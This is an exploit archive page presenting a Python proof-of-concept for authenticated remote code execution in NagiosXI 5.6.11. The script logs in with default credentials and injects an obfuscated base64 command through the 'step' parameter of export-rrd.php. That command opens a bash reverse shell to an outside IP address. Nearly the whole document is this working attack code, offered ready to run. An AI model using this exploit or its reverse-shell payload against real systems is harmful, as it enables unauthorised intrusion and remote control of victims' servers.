exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

NagiosXI 5.6.11 start / end / step Remote Code Execution

NagiosXI 5.6.11 start / end / step Remote Code Execution
Posted Apr 9, 2020
Authored by Cody Sixteen

NagiosXI version 5.6.11 post authentication start, end, and step parameter remote code execution exploit.

tags | exploit, remote, code execution
SHA-256 | 031602c56f2aaed8028f670cedf7bcaeea0adc9a27dbd5faa77afcb3ff87e286

NagiosXI 5.6.11 start / end / step Remote Code Execution

Change Mirror Download
# Title: Postauth RCE in NagiosXI 5.6.11 
# Date: 19.03.2020
# Vendor: www.nagios.com
# Vulnerable software: https://www.nagios.com/downloads/nagios-xi/vmware/
# Repo: https://github.com/c610/free/


c@kali:~/src/eonila/nagiospox$ cat nagiospox.py
#!/usr/bin/env python
# nagiospox.py - small poc for nagiosxi rce
# 19.03.2020 by code610
#
# more : https://twitter.com/CodySixteen
# https://code610.blogspot.com
#
import sys, re
import requests

target = sys.argv[1]
our_user = 'nagiosadmin'
our_pass = 'nagiosadmin'

def main():
print 'nagios rce poc - vs - %s' % ( target )

sess = requests.session()

baseUrl = target + ':80/nagiosxi/'
checkBaseUrl = sess.get(baseUrl)
checkBaseResp = checkBaseUrl.text

#print checkBaseResp
nsp_patt = "var nsp_str = \"(.*?)\""

find_nsp = re.compile(nsp_patt)
found_nsp = re.search(find_nsp, checkBaseResp)
if found_nsp:
nsp_val = found_nsp.group(1)
print 'nsp value found: %s' % ( nsp_val )

# we will use nsp value in next login request
loginurl = baseUrl + '/login.php' # ?redirect=/nagiosxi/index.php%3f&noauth=1'
data_login = {
'nsp': nsp_val,
'page': 'auth',
'debug':'',
'pageopt':'login',
'redirect':'http://192.168.1.10/nagiosxi/index.php', # %2Fnagiosxi%2Findex.php%3F',
'username':our_user,
'password':our_pass,
'loginButton':''
}
req = sess.post(loginurl, data=data_login, verify=False, allow_redirects=True)
resp_code = req.status_code
resp = req.text

#print resp_code
#print resp
if resp_code == 200:
print '3rd request now!'
sh = "a|(echo+\"YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTcwLzQ0MyAwPiYx\"|base64+-d+-|sh+-i);#"
shellcode_req = baseUrl + '/includes/components/xicore/export-rrd.php?host=localhost&service=Root%20Partition&start=1584108670&end=1584195130&step=' + sh + '&type=a&nsp=' + nsp_val
dosh = sess.get(shellcode_req, verify=False, allow_redirects=True)
donesh = dosh.text

print donesh


# run me:
if __name__ == '__main__':
main()
c@kali:~/src/eonila/nagiospox$
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    38 Files
  • 24
    Sep 24th
    65 Files
  • 25
    Sep 25th
    24 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close